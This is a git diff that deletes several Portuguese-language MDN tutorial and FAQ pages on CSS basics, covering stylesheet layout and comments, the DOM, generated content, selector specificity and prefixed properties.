Seu arquivo de amostra de CSS atualmente tem uma regra por linha, e quase o mínimo de espaço em branco. Em uma uma folha de estilo complexa esta disposição pode dificultar a leitura, dificultando também a manutenção da sua folha de estilo.

- -

A disposição que você escolhe é usualmente um preferência pessoal, mas se suas folhas de estilo são parte de projetos compartilhados, estes projetos podem ter suas próprias convenções.

- - - - - - - - -
Exemplos
Algumas pessoas gostam de uma diposição compacta que temos usado, somente dividindo a linha quando ela se torna muito longa: -
-.carrot {color: orange; text-decoration: underline; font-style: italic;}
-
- -

Algumas pessoas preferem uma propriedade-valor por linha:

- -
-
-.carrot
-{
-color: orange;
-text-decoration: underline;
-font-style: italic;
-}
-
-
- -

Algumas pessoas usam tabs – dois espaços, quatro espaços, ou um tab são comuns:

- -
-
-.carrot {
-  color: orange;
-  text-decoration: underline;
-  font-style: italic;
-}
-
-
- -

Algumas pessoas gostam de enfileirar a linha verticalmente (mas é difícil de manter uma disposição assim):

- -
-
-.carrot
-    {
-    color           : orange;
-    text-decoration : underline;
-    font-style      : italic;
-    }
-
-
- -

Algumas pessoas usam tabs para a disposição. Algumas pessoas usam somente espaços.

-
- -

Comentários

- -

Comentários em CSS começam com /* e terminam com */.

- -

Você pode usar comentários para fazer comentários reais na sua folha de estilo, e também para descomentar partes que estiverem temporariamente para propósito de testes.

- -

Para comentar parte da folha de estilo, coloque a parte em um comentário então o navegador ignorará isso. Tome cuidado onde você começa e termina o seu comentário. O resto da sua folha de estilo ainda deve ter a sintaxe correta.

- - - - - - - - -
Exemplo
-
-
-/* Estilo para a letra C inicial no primeiro parágrafo */
-.carrot {
-  color:            orange;
-  text-decoration:  underline;
-  font-style:       italic;
-  }
-
-
-
- -

Seletores agrupados

- -

Quando muitos elementos tiverem o mesmo estilo, você pode especificar um grupo de seletores, separando-os com comentários. A declaração se aplica a todos os elementos selecionados.

- -

Em outra parte da sua folha de estilo você pode especificar os mesmos seletores, de novo individualmente, para aplicar estilo individual às suas regras.

- - - - - - - - -
Exemplo
Esta regra faz os elementos H1, H2 and H3 da mesma cor. -

Isto é conveniente para especificar a cor em somente um lugar, no caso em que precisa ser alterado.

- -
-
-/* cores para os cabeçalhos */
-h1, h2, h3 {color: navy;}
-
-
-
- -

Ação: Adicionando comentários e melhorando o arranjo

- -

Edite seu arquivo CSS, e assegure-se que ele tem todas as regras nele (em qualquer ordem):

- -
-
strong {color: red;}
-.carrot {color: orange;}
-.spinach {color: green;}
-#first {font-style: italic;}
-p {color: blue;}
-
-
- -

Faça isto mais legível rearranjando isto em um meio que possa ser achado lógicamente, adicionando espaços em branco e comentários da maneira que você achar melhor.

- -

Salve o arquivo e atualize a tela do seu navegador, assegure-se que as mudanças que você fez não afetaram o modo como a folha de estilo trabalha:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- - - - - - - - -
Desafio
Comente parte de sua folha de estilo, sem mudar qualquer coisa, para fazer a primeira letra de seu documento vermelha: - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

(Existe mais de uma maneira de fazer isto.)

-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Seu documento de amostra usou o texto em itálico e o texto com sublinhado. A próxima página descreve mais caminhos para especificar a aparência do texto no seu documento: Estilos de texto

- -

{{ PreviousNext("CSS:Como começar:Seletores", "CSS:Como começar:Estilos de texto") }}

diff --git a/files/pt-pt/learn/css/first_steps/how_css_works/index.html b/files/pt-pt/learn/css/first_steps/how_css_works/index.html deleted file mode 100644 index f73b96a63a..0000000000 --- a/files/pt-pt/learn/css/first_steps/how_css_works/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Como o CSS trabalha -slug: Learn/CSS/First_steps/How_CSS_works -tags: - - CSS:Como_começar -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works -original_slug: Web/CSS/Como_começar/Como_o_CSS_trabalha ---- -

{{ PreviousNext("CSS:Como começar:Porque usar CSS", "CSS:Como começar:Cascata e herança") }}

- -

Esta página explica como o CSS trabalha no seu navegador. Você analiza seu documento de amostra, reavaliando os detalhes do seu estilo.

- -

Informação: Como o CSS trabalha

- -

Quando o Mozilla exibe um documento, é necessário combinar o conteúdo do documento com seu estilo de informação. Então o documento é processado em dois estágios:

- -
    -
  • No primeiro estágio, o Mozilla converte a linguagem de marcação e o CSS em DOM (Document Object Model - Modelo de Objeto de Documento). O DOM representa o documento na memória do computador. Isto combina o conteúdo do documento com seu estilo.
  • -
- -
    -
  • No segundo estágio, o Mozilla exibe o DOM.
  • -
- -

Uma linguagem de marcação usa tags para definir a estrutura do documento. Uma tag pode armazenar outras tags entre seu início e fim.

- -

Um DOM tem a estrutura como a de uma árvore. Cada tag e período do texto na linguagem de marcação torna-se um na estrutura da árvore. Os nós do DOM não são armazenadores. Em substituição, eles são primários aos nós subordinados.

- -

Os nós que correspondem a tags também são conhecidos por elementos.

- - - - - - - - -
Exemplo
No seu documento de amostra, a tag <p> e seu fim </p> criam um armazenamento: -
-
-<p>
-  <strong>C</strong>ascading
-  <strong>S</strong>tyle
-  <strong>S</strong>heets
-</p>
-
-
- -

No DOM, o corespondente ao nó P é um primário. Os subordinados são os nós STRONG e os nós do texto. Os nós STRONG são os primários, e os nós do texto são os subordinados.

- -
-

P ├─STRONG │ │ │ └─"C"
- │
- ├─"ascading"
- │
- ├─STRONG │ │ │ └─"S"
- │
- ├─"tyle"
- │
- ├─STRONG │ │ │ └─"S"
- │
- └─"heets"

-
-
- -

O entendimento do DOM ajuda-o a projetar, depurar e manter seu CSS, pois o DOM é onde o seu CSS e o conteúdo do documento se unem.

- -

Ação: Analizando um DOM

- -

Para analizar um DOM, você precisa de um software especial. Aqui, você usa o DOM Inspector (DOMi) da Mozilla para analizar um DOM.

- -

Use seu navegador Mozilla para abrir seu documento simples.

- -

Na barra de menu do seu navegador, escolha Ferramentas – DOM Inspector, ou talvez Ferramentas – Desenvolvimento Web – DOM Inspector.

- - - - - - - - -
Mais detalhes
Se seu navegador Mozilla não tem o DOMi, você pode reinstalá-lo assegurando-se de escolher para instalar o componente de ferramentas da web. Então retorne a este tutorial. -

Se você não quiser instalar o DOMi, você pode pular esta seção e ir diretamente para a próxima página. Pulando esta seção você não interfere com o resto deste tutorial.

-
- -


- No DOMi, expanda os nós do seu documento clicando em suas flechas.

- -

Nota: O espaçamento em seu arquivo HTML faz com que o DOMi mostre alguns nós de texto vazios, que você pode ignorar.

- -

O resultado deve ser parecido com isto, dependendo do que você tenha expandido:

- - - - - - - -
-
-


- P │ │ │ STRONG │ │ └#text │ ├╴#textSTRONG │ │

-
-
- -

Quando você seleciona algum nó, você pode usar o painel direito do DOMi para achar mais sobre ele. Por exemplo, quando você seleciona um nó do texto, DOMi mostra para você o texto no painel da direita.

- -

Quando você seleciona um elemento nó, DOMi o analiza e fornece uma enorme quantidade de informações no seu painel direito. A informação sobre estilo é somente uma parte das informações que ele fornece.

- - - - - - - - -
Desafio
No DOMi, clique no nó STRONG. -

Use o painel direito do DOMi para achar onde fica a cor do nó (vermelho) e onde sua aparência é mais forte que o texto normal (negrito).

-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Se você tomou o desafio, você viu o estilo da informação em mais de um lugar interagir para criar o estilo final para um elemento.

- -

A próxima página explica mais sobre estas interações: Cascata e herança

- -

{{ PreviousNext("CSS:Como começar:Porque usar CSS", "CSS:Como começar:Cascata e herança") }}

diff --git a/files/pt-pt/learn/css/first_steps/index.html b/files/pt-pt/learn/css/first_steps/index.html deleted file mode 100644 index bb21186eda..0000000000 --- a/files/pt-pt/learn/css/first_steps/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Como começar -slug: Learn/CSS/First_steps -tags: - - CSS - - CSS:Como_começar - - Todas_as_Categorias -translation_of: Learn/CSS/First_steps -translation_of_original: Web/Guide/CSS/Getting_started -original_slug: Web/CSS/Como_começar ---- -

 

- -

Introdução

- -

Este tutorial o introduz às CSS (Cascading Style Sheets - Folhas de Estilo em Cascata).

- -

Este tutorial o orienta nos recursos básicos de CSS com exemplos práticos que você pode experimentar sozinho em seu computador. Ele é dividido em duas partes:

- -
    -
  • A Parte I ilustra os recursos básicos das CSS que funcionam nos navegadores Mozilla e também na maioria dos navegadores modernos.
  • -
- -
    -
  • A Parte II contém alguns exemplos de recursos especiais que funcionam no Mozilla, mas não necessariamente em outros ambientes.
  • -
- -

Este tutorial é baseado na CSS 2.1 Specification.

- -

Quem deve ler este tutorial?

- -

Este tutorial é direcionado para iniciantes em CSS, mas você também poderá usá-lo caso tenha alguma experiência em CSS.

- -

Se você é um iniciante em CSS, leia a Parte I deste tutorial para entender CSS e aprender a usá-lo. Em seguida, leia a Parte II para entender o escopo de CSS no Mozilla.

- -

Se você conhece CSS, poderá ignorar as partes desse tutorial que já conhece e ler apenas as partes que lhe interessam.

- -

Se você já tem experiência em CSS mas não no Mozilla, pode ir direto para a Parte II.

- -

O que você precisa antes de começar?

- -

Para melhor aproveitar este tutorial, você precisa de um editor de arquivos de texto e um navegador Mozilla (Firefox, Mozilla Suite ou Seamonkey). Você também deve saber como utilizá-los de um modo básico.

- -

Se não deseja editar arquivos, você pode apenas ler o tutorial e observar as imagens, mas este não é o melhor modo de aprendizado.

- -

Poucas partes deste tutorial podem requerer outro software Mozilla. Essas partes são opcionais. Você pode ignorar essas partes se não desejar fazer o download de outro software Mozilla.

- -

Nota: As CSS oferece modos de se trabalhar com cores, de modo que partes deste tutorial dependem de cores. Você poderá utilizar essas partes facilmente somente se tiver um monitor colorido e uma visão colorida normal.

- -

Como utilizar este tutorial

- -

Para utilizar este tutorial, leia cuidadosamente as páginas e em seqüência. Se perder uma página, você poderá ter dificuldades para entender as páginas posteriores.

- -

Em cada página, utilize a seçãoInformações para entender como o CSS funciona. Utilize a seçãoAções para tentar usar o CSS em seu próprio computador.

- -

Para testar seus conhecimentos, faça o teste ao final de cada página. As soluções para alguns testes são reveladas nas páginas posteriores no tutorial.

- -

Para se aprofundar em CSS, leia as informações nas caixas entituladasMais detalhes. Utilize os links para localizar informações referentes às CSS.

- -

Tutorial Parte I

- -

Um guia passo-a-passo para CSS.

- -
    -
  1. O que é CSS
  2. -
  3. Porque usar CSS
  4. -
  5. Como o CSS trabalha
  6. -
  7. Cascata e herança
  8. -
  9. Seletores
  10. -
  11. CSS legível
  12. -
  13. Estilos de texto
  14. -
  15. Cor
  16. -
  17. Conteúdo
  18. -
  19. Listas
  20. -
  21. Caixas
  22. -
  23. Disposição
  24. -
  25. Tabelas
  26. -
  27. Média
  28. -
- -

Tutorial Parte II

- -

Exemplos que mostram o escopo da CSS no Mozilla.

- -
    -
  1. JavaScript
  2. -
  3. XBL bindings
  4. -
  5. Interfaces de usuário XUL
  6. -
  7. Gráficos SVG
  8. -
  9. Dados XML
  10. -
- -

{{ languages( { "en": "en/CSS/Getting_Started", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "pl": "pl/CSS/Na_pocz\u0105tek", "zh-cn": "cn/CSS/\u5f00\u59cb" } ) }}

diff --git a/files/pt-pt/learn/css/howto/css_faq/index.html b/files/pt-pt/learn/css/howto/css_faq/index.html deleted file mode 100644 index e0e558f33b..0000000000 --- a/files/pt-pt/learn/css/howto/css_faq/index.html +++ /dev/null @@ -1,230 +0,0 @@ ---- -title: Perguntas Frequentes sobre CSS -slug: Learn/CSS/Howto/CSS_FAQ -tags: - - CSS - - Exemplo - - FAQ - - Guía - - Web - - questões -translation_of: Learn/CSS/Howto/CSS_FAQ -original_slug: Learn/CSS/Howto/FAQ_de_CSS ---- -

Why doesn't my CSS, which is valid, render correctly?

- -

Browsers use the DOCTYPE declaration to choose whether to show the document using a mode that is more compatible  with Web standards or with old browser bugs. Using a correct and modern DOCTYPE declaration at the start of your HTML will improve browser standards compliance.

- -

Modern browsers have two main rendering modes:

- -
    -
  • Quirks Mode: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. Documents with an incomplete, incorrect, or missing DOCTYPE declaration or a known DOCTYPE declaration in common use before 2001 will be rendered in Quirks Mode.
  • -
  • Standards Mode: the browser attempts to follow the W3C standards strictly. New HTML pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern DOCTYPE declaration will be rendered with Standards Mode.
  • -
- -

Gecko-based browsers, have a third Almost Standards Mode that has only a few minor quirks.

- -

This is a list of the most commonly used DOCTYPE declarations that will trigger Standards or Almost Standards mode:

- -
<!DOCTYPE html> /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
-                   parser, this is the recommended doctype */
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd">
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
- -

When at all possible, you should just use the HTML5 doctype.

- -

Why doesn't my CSS, which is valid, render at all?

- -

Here are some possible causes:

- -
    -
  • You've got the path to CSS file wrong.
  • -
  • To be applied, a CSS stylesheet must be served with a text/css MIME type. If the Web server doesn't serve it with this type, it won't be applied.
  • -
- -

What is the difference between id and class?

- -

HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.

- -
    -
  • Use a class-specific style when you want to apply the styling rules to many blocks and elements within the page, or when you currently only have element to style with that style, but you might want to add more later.
  • -
  • Use an id-specific style when you need to restrict the applied styling rules to one specific block or element. This style will only be used by the element with that particular id.
  • -
- -

It is generally recommended to use classes as much as possible, and to use ids only when absolutely necessary for specific uses (like to connect label and form elements or for styling elements that must be semantically unique):

- -
    -
  • Using classes makes your styling extensible — even if you only have one element to style with a particular ruleset now, you might want to add more later.
  • -
  • Classes allow you to style multiple elements, therefore they can lead to shorter stylesheets, rather than having to write out the same styling information in multiple rules that use id selectors. Shorter stylesheets are more performant.
  • -
  • Class selectors have lower specificity than id selectors, so are easier to override if needed.
  • -
- -
-

Note: See Selectors for more information.

-
- -

How do I restore the default value of a property?

- -

Initially CSS didn't provide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property. For example:

- -
/* Heading default color is black */
-h1 { color: red; }
-h1 { color: black; }
- -

This has changed with CSS 2; the keyword initial is now a valid value for a CSS property. It resets it to its default value, which is defined in the CSS specification of the given property.

- -
/* Heading default color is black */
-h1 { color: red; }
-h1 { color: initial; }
- -

How do I derive one style from another?

- -

CSS does not exactly allow one style to be defined in terms of another. (See Eric Meyer's note about the Working Group's stance). However, assigning multiple classes to a single element can provide the same effect, and CSS Variables now provide a way to define style information in one place that can be reused in multiple places.

- -

How do I assign multiple classes to an element?

- -

HTML elements can be assigned multiple classes by listing the classes in the class attribute, with a blank space to separate them.

- -
<style type="text/css">
-.news { background: black; color: white; }
-.today { font-weight: bold; }
-</style>
-
-<div class="news today">
-... content of today's news ...
-</div>
-
- -

If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the class attribute is not relevant.

- -

Why don't my style rules work properly?

- -

Style rules that are syntactically correct may not apply in certain situations. You can use DOM Inspector's CSS Style Rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.

- -

HTML elements hierarchy

- -

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

- -
.news { color: black; }
-.corpName { font-weight: bold; color: red; }
-
-<!-- news item text is black, but corporate name is red and in bold -->
-<div class="news">
-   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
-</div>
-
- -

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

- -

Explicitly re-defined style rule

- -

In CSS stylesheets, order is important. If you define a rule and then you re-define the same rule, the last definition is used.

- -
#stockTicker { font-weight: bold; }
-.stockSymbol { color: red; }
-/*  other rules             */
-/*  other rules             */
-/*  other rules             */
-.stockSymbol { font-weight: normal; }
-
-<!-- most text is in bold, except "GE", which is red and not bold -->
-<div id="stockTicker">
-   NYS: <span class="stockSymbol">GE</span> +1.0 ...
-</div>
-
- -

To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.

- -

Use of a shorthand property

- -

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to their default values. This means that a previous rule for a single attribute could be implicitly overridden.

- -
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
-.stockSymbol { font: 14px Arial; color: red; }
-
-<div id="stockTicker">
-   NYS: <span class="stockSymbol">GE</span> +1.0 ...
-</div>
-
- -

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

- -
#stockTicker {
-   font-weight: bold;
-   font: 12px Verdana;  /* font-weight is now set to normal */
-}
-
- -

Use of the * selector

- -

The * wildcard selector refers to any element, and it has to be used with particular care.

- -
body * { font-weight: normal; }
-#stockTicker { font: 12px Verdana; }
-.corpName { font-weight: bold; }
-.stockUp { color: red; }
-
-<div id="section">
-   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
-</div>
-
- -

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

- -

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

- -

Specificity in CSS

- -

When multiple rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) has the highest specificity and will override any selectors, followed by ID selectors, then class selectors, and eventually element selectors. The text color of the below {{htmlelement("div")}} will therefore be red.

- -
div { color: black; }
-#orange { color: orange; }
-.green { color: green; }
-
-<div id="orange" class="green" style="color: red;">This is red</div>
-
- -

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3.

- -

What do the -moz-*, -ms-*, -webkit-*, -o-* and -khtml-* properties do?

- -

These properties, called prefixed properties, are extensions to the CSS standard. They allow use of experimental and non-standard features in browsers without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

- -

The use of such properties on production websites is not recommended — they have already created a huge web compatibility mess. For example, many developers only using the -webkit- prefixed version of a property when the non-prefixed version is supported across all browsers meant that a feature relying on that property would break in non-webkit-based browsers, completely needlessly. This problem got so bad that other browsers started to implement -webkit- prefixed aliases to improve web compatibility, as specified in the Compatibility Living Standard.

- -

In fact most browsers now do not use CSS prefixes when implementing experimental features, insteading implementing those features only on Nightly browser versions or similar.

- -

If you need to use prefixes in your work, you are advised to write your code in a way that uses the prefixed versions first, but then includes a non-prefixed standard version afterwards so it can automatically override the prefixed versions where supported. For example:

- -
-ms-transform: rotate(90deg);
--webkit-transform: rotate(90deg);
-transform: rotate(90deg);
- -
-

Note: For more information on dealing with prefixed properties, see Handling common HTML and CSS problems — Handling CSS prefixes from our Cross-browser testing module.

-
- -
-

Note: See the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

-
- -

How does z-index relate to positioning?

- -

The z-index property specifies the stack order of elements.

- -

An element with a higher z-index/stack order is always rendered in front of an element with a lower z-index/stack order on the screen. Z-index will only work on elements that have a specified position (position:absolute, position:relative, or position:fixed).

- -
-

Nota: For more information, see our Positioning learning article, and in particular the Introducing z-index section.

-
diff --git a/files/pt-pt/learn/css/howto/generated_content/index.html b/files/pt-pt/learn/css/howto/generated_content/index.html deleted file mode 100644 index c9b979f870..0000000000 --- a/files/pt-pt/learn/css/howto/generated_content/index.html +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Conteúdo -slug: Learn/CSS/Howto/Generated_content -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Howto/Generated_content -original_slug: Web/CSS/Como_começar/Conteúdo ---- -

{{ PreviousNext("CSS:Como começar:Cor", "CSS:Como começar:Listas") }}

- -

Esta página descreve algumas maneiras que você pode usar no CSS para adicionar conteúdo quando um documento é exibido.

- -

Você modifica sua folha de estilo para adicionar conteúdo de texto e uma imagem.

- -

Informação: Conteúdo

- -

Uma das vantagens importantes das CSS é que ele o ajuda a separar o estilo do documento do seu conteúdo. Mas há situações onde faz sentido especificar certo conteúdo como parte de sua folha de estilo, não como parte do seu documento.

- -

O conteúdo especificado em uma folha de estilo pode consistir em texto ou imagens. Você especifica o conteúdo em sua folha de estilo quando o conteúdo tem uma ligação próxima à estrutura do documento.

- - - - - - - - -
Mais detalhes
Especificar o conteúdo em uma folha de estilo pode causar complicações. Por exemplo, você pode ter versões diferentes da língua do seu documento que compartilham uma folha de estilo. Se parte da folha de estilo tem que ser traduzida, isto mostra que você precisa por estas partes da folha de estilo em arquivos separados e arrumá-los para então ligá-los com a versão apropriada da língua do seu documento. -

Estas complicações não surgem se o conteúdo que você especificou consistir em símbolos ou imagens que se aplicam em todas as línguas e culturas.

- -


- O conteúdo especificado em uma folha de estilo não se tornará parte do DOM.

-
- -

Conteúdo do texto

- -

CSS pode inserir um texto antes ou depois de um elemento. Para especificar isto, faça uma regra e adicione :before ou :after ao seletor. Na declaração, especifique a propriedade content com o conteúdo do texto como seu valor.

- - - - - - - - -
Exemplo
Esta regra adiciona o texto Referência: antes de todo elemento com a classe ref: -
-
-.ref:before {
-  font-weight: bold;
-  color: navy;
-  content: "Referência: ";
-  }
-
-
-
- - - - - - - - -
Mais detalhes
O caractere de configuração de uma folha de estilo é por padrão o UTF-8, mas isto pode ser especificado na ligação, na própria folha de estilo ou por outras maneiras. Para detalhes, veja 4.4 CSS style sheet representation na CSS Specification. -

Caracteres individuais podem às vezes ser especificados por um mecanismo de escape que use o contra barra (\) com o caráter de escape. Por exemplo, \265B é um símbolo do xadrez para a rainha preta ♛. Para detalhes, veja Referring to characters not represented in a character encoding e também Characters and case em CSS Specification.

-
- -

Conteúdo da imagem

- -

Para adicionar uma imagem antes ou depois de um elemento, você pode especificar a URL de um arquivo de imagem no valor da propriedade content.

- - - - - - - - -
Exemplo
Esta regra adiciona um espaço e um ícone depois de cada ligação da classe glossary: -
-
-a.glossary:after {content: " " url("../images/glossary-icon.gif");}
-
-
-
- -


- Para adicionar uma imagem ao fundo de um elemento, especifique a URL de um arquivo de imagem no valor da propriedade background. Isto é uma propriedade que especifica a cor do fundo, a imagem, como a imagem repete, e alguns outros detalhes.

- - - - - - - - -
Exemplo
Esta regra configura o fundo de um elemento específico, usando uma URL para especificar um arquivo de imagem. -

O seletor especifica o id do elemento. O valor no-repeat faz a imagem aparecer apenas uma vez:

- -
-
-#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
-
-
-
- - - - - - - - -
Mais detalhes
Para informações sobre propriedades individuais que afetam o fundo, e sobre outras opções que você pode especificar para as imagens de fundo, veja The background na CSS Specification.
- -

Ação: Adicionando uma imagem de fundo

- -

Esta imagem é um quadrado branco com uma linha azul em baixo. Baixe o arquivo desta imagem no mesmo diretório do seu arquivo CSS:

- - - - - - - -
Image:Blue-rule.png
- -

(Por exemplo, clique com o botão direito sobre isto para abrir o menu de contexto, então escolha Salvar Imagem Como... e especifique o diretório que você está usando para este tutorial.)

- -

Edite o seu arquivo CSS e adicione esta regra ao corpo, configurando a imagem de fundo para a página inteira.

- -
-
background: url("Blue-rule.png");
-
-
- -

O valor repeat é o padrão, então isto não precisa ser especificado. A imagem é repetida horizontal e verticalmente, dando a aparência parecida com a de um papel de escrita com linhas:

- -
-

Image:Blue-rule-ground.png

- -
-
-

Cascading Style Sheets

-
- -
-

Cascading Style Sheets

-
-
-
- - - - - - - - -
Desafio
Baixe esta imagem: - - - - - - -
Image:Yellow-pin.png
- -

Adicione uma regra à sua folha de estilo então isto mostrará a imagem no começo de cada linha:

- -
-

Image:Blue-rule-ground.png

- -
-
image:Yellow-pin.png Cascading Style Sheets
- -
image:Yellow-pin.png Cascading Style Sheets
-
-
-
- -

O que vem depois?

- -

Uma maneira comum de adicionar conteúdo à folha de estilo é marcar os itens em listas. Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

A próxima página descreve como especificar o estilo para elementos de listas: Listas

- -

{{ PreviousNext("CSS:Como começar:Cor", "CSS:Como começar:Listas") }}

diff --git a/files/pt-pt/learn/css/howto/index.html b/files/pt-pt/learn/css/howto/index.html deleted file mode 100644 index ac198b7ae9..0000000000 --- a/files/pt-pt/learn/css/howto/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Utilizar CSS para resolver problemas comuns -slug: Learn/CSS/Howto -tags: - - Aprendizagem - - CSS - - Learn - - NeedsTranslation - - Precisa de Tradução - - Principiante -translation_of: Learn/CSS/Howto ---- -
{{LearnSidebar}}
- -

As seguintes hiperligações apontam para soluções até aos problemas comuns diários que irá precisar de resolver com CSS.

- -

Casos de utilização comuns

- - - -

Técninas avançadas e invulgares

- -

Beyond the basics, CSS is allows very advanced design techniques. These articles help you tackle the hardest use cases you may face.

- -

Geral

- - - -

Efeitos avançados

- - - -

Layout

- - - -

Consultar também

- -

CSS - Perguntas Frequentes (FAQ) — Uma coleção de pequenas partes de informação, abrangendo uma variedade de tópicos, desde a depuração até à utilização do seletor.

diff --git a/files/pt-pt/learn/css/index.html b/files/pt-pt/learn/css/index.html deleted file mode 100644 index eee5fb752a..0000000000 --- a/files/pt-pt/learn/css/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: 'Aprender a estilizar HTML, utilizando CSS' -slug: Learn/CSS -tags: - - CSS - - Depuração - - Estilo - - Principiante - - Tópico - - especificidade -translation_of: Learn/CSS ---- -
{{LearnSidebar}}
- -

Folhas de Estilo em Cascata — ou {{glossary("CSS")}} — é a segunda tecnologia que deveria começar a aprender depois de {{glossary("HTML")}}. Considerando que HTML é utilizado para definir a estrutura e semântica do seu conteúdo, CSS é utilizada para estilizar e aplicar. Assim, por exemplo, pode utilizar CSS para alterar o tipo de letra, cor, tamanho e espaçamento de seu conteúdo, dividi-lo em várias colunas, ou adicionar animações e outros elementos decorativos.

- -

Passos de aprendizagem

- -

Você deve aprender o básico de HTML antes de tentar qualquer CSS. Recomendamos que você trabalhe primeiro através do nosso módulo de Introdução ao HTML. Nesse módulo, você aprenderá sobre:

- -
    -
  • CSS, começando com o módulo Introduction to CSS
  • -
  • Módulos de HTML mais avancados HTML modules
  • -
  • Javascript, e como utilizá-lo para adicionar funcionalidades dinâmicas às páginas web
  • -
- -

Uma vez entendidos os fundamentos do HTML, recomendamos que aprenda HTML e CSS ao mesmo tempo, andando para trás e para a frente entre os dois tópicos. Isto porque HTML é muito mais interessante com CSS, e você não pode realmente aprender CSS sem conhecer HTML.

- -

Antes de iniciar este tópico, deve também estar familiarizado com a utilização de computadores e o uso da web passivamente (ou seja, apenas olhando para ele, consumindo o conteúdo). Você deve ter um ambiente de trabalho básico configurado conforme detalhado em Instalar software básico, e entender como criar e gerir arquivos, conforme detalhado em Lidar com ficheiros - ambos são partes do nosso módulo Primeiros passos na Web.

- -

Recomenda-se que trabalhe através de Primeiros passos na Web antes de prosseguir com este tópico. No entanto, fazê-lo não é absolutamente necessário, pois muito do que é abordado no artigo CSS - Essencial também é abordado no nosso módulo CSS first steps, embora com muito mais detalhe.

- -

Módulos

- -

Este tópico contém os seguintes módulos, numa ordem sugerida para trabalhar com eles. Deveria definitivamente começar com o primeiro .

- -
-
Introdução à CSS
-
This module gets you started with the basics of how CSS works, including selectors and properties, writing CSS rules, applying CSS to HTML, how to specify length, color, and other units in CSS, cascade and inheritance, box model basics, and debugging CSS.
-
Estilio de texto
-
Here we look at text styling fundamentals, including setting font, boldness, and italics, line and letter spacing, and drop shadows and other text features. We round off the module by looking at applying custom fonts to your page, and styling lists and links.
-
Estilio de caixas
-
Next up, we look at styling boxes, one of the fundamental steps towards laying out a web page. In this module we recap the box model then look at controlling box layouts by setting padding, borders and margins, setting custom background colors, images and other features, and fancy features such drop shadows and filters on boxes.
-
Disposição de CSS
-
At this point we've already looked at CSS fundamentals, how to style text, and how to style and manipulate the boxes that your content sits inside. Now it's time to look at how to place your boxes in the right place in relation to the viewport, and one another. We have covered the necessary prerequisites so can now dive deep into CSS layout, looking at different display settings, traditional layout methods involving float and positioning, and new fangled layout tools like flexbox.
-
Desenho responsivo (TBD)
-
Com tantos tipos diferentes de dispositivos capazes de navegar na Web nestes dias, o desenho da Web responsivo (RWD) tornou-se uma habilidade básica de desenvolvimento da Web. Este módulo irá abranger os princípios básicos e as ferramentas de RWD, explicar como aplicar CSS diferentes em um documento, dependendo das funcionalidades do dispositivo, como largura, orientação e resolução do ecrã, e explorar as tecnologias disponíveis para servir diferentes vídeos e imagens dependendo de tais funcionalidades.
-
- -

Resolver problemas de CSS comuns

- -

Utilizar CSS para resolver problemas comuns, fornece hioperligações para secções de conteúdo explicando como utilizar o CSS para resolver problemas muito comuns quando criar uma página da Web .

- -

Consulte também

- -
-
CSS na MDN
-
